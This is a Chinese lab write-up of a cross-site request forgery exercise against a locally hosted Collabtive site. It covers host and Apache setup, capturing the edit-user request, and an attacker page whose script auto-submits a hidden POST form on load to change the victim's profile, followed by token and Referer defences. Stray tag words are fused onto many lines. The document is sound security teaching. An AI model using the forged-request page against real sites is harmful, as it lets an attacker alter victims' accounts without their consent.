一次csrf攻擊實驗 僞造post請求

記錄一下實驗過程,實驗樓已經給搭建好了兩個網站javascript

攻擊網站:www.csrflabattacker.com
  被攻擊網站:www.csrflabcollabtive.com

登陸實驗環境,啓動apache服務和mysql服務php

配置DNS 路徑爲/etc/hosts
添加兩行 做用是當訪問下面兩個域名時指向本機html

127.0.0.1    www.csrflabattacker.com
127.0.0.1    www.csrflabcollabtive.com

配置網站,路徑/etc/apache2/conf.d/lab.conf
添加以下內容,做用是將相應網站綁定到本地的對應端口上,你能夠經過127.0.0.1:80訪問http://www.csrflabcollabtive.com 這個網站,亦可經過域名訪問。java

<VirtualHost *:80>
ServerName http://www.csrflabcollabtive.com
DocumentRoot /var/www/CSRF/Collabtive/
</VirtualHost>

<VirtualHost *:8080>
ServerName http://www.csrflabattacker.com
DocumentRoot /var/www/CSRF/Attacker/
</VirtualHost>

下載livehttpheader插件,實驗樓已經記錄的很詳細,這裏就再也不描述mysql

打開 www.csrflabcollabtive.com 網站,打開livehttpheader插件,訪問編輯用戶界面並修改用戶信息,點擊send按鈕。在livehttpheader中查看http請求頭。
87971525851451091-wmweb

捕捉到請求報文後就能夠在攻擊網站上構造攻擊頁面了,在/var/www/CSRF/Attacker/文件加下新建index.html文件。做用是你在點擊攻擊網站時,攻擊網站會向被攻擊網站提交post請求,而瀏覽器會自動獲取你以前登陸被攻擊網站的cookies,這樣被攻擊網站就沒法判斷提交post請求的是合法用戶仍是惡意網站。sql

<html>
<body>
<h1>
    This page forges an HTTP POST request.
</h1>
<script type="text/javascript">
    function post(url, fields) {
        //create a <form> element.
        var p = document.createElement("form");
        //construct the form
        p.action = url;
        p.innerHTML = fields;
        p.target = "_self";
        p.method = "post";
        //append the form to the current page.
        document.body.appendChild(p);
        //submit the form
        p.submit();
    }

    function csrf_hack() {
        var fields;
        // The following are form entries that need to be filled out
        // by attackers. The entries are made hidden, so the victim
        // won't be able to see them.
        fields += "<input type='hidden' name='name' value='admin' >"; 
        fields += "<input type='hidden' name='gender' value='female' >"; //修改性別
        fields += "<input type='hidden' name='company' value='seed' >"; //修改公司名
        post('http://www.csrflabcollabtive.com/manageuser.php?action=edit', fields);
    }
    // invoke csrf_hack() after the page is loaded.
    window.onload = function() {
        csrf_hack();
    }
</script>
</body>
</html>

防護方法,通常都是在客戶端加僞隨機數
在本實驗中,在sudo vim /var/www/CSRF/Collabtive/templates/standard/edituserform.tpl下添加一個隱藏的字段sid。在提交表單處將cookie值賦值給sid:this.form.sid.value = document.cookie
<input type="hidden" name="sid" value="">
修改/var/www/CSRF/Collabtive/manageuser.php文件
獲取post提交的sid值
$sid = getArrayVal($_POST,"sid")
對用戶id的值進行判斷,若是用戶id的值等於phpsessionid的值則進行提交
if($_COOKIE['PHPSESSIONID']==$sid)apache

加密令牌:web應用程序在網頁中嵌入一個加密的令牌,全部的請求都包含這個加密的令牌,因爲跨站請求沒法獲取這個令牌,因此僞造的請求就會被服務器識別。
referer頭途徑:驗證來源頁面的referer,然而因爲隱私考慮,這個referer常常被客戶端過濾。vim

相關文章
相關標籤/搜索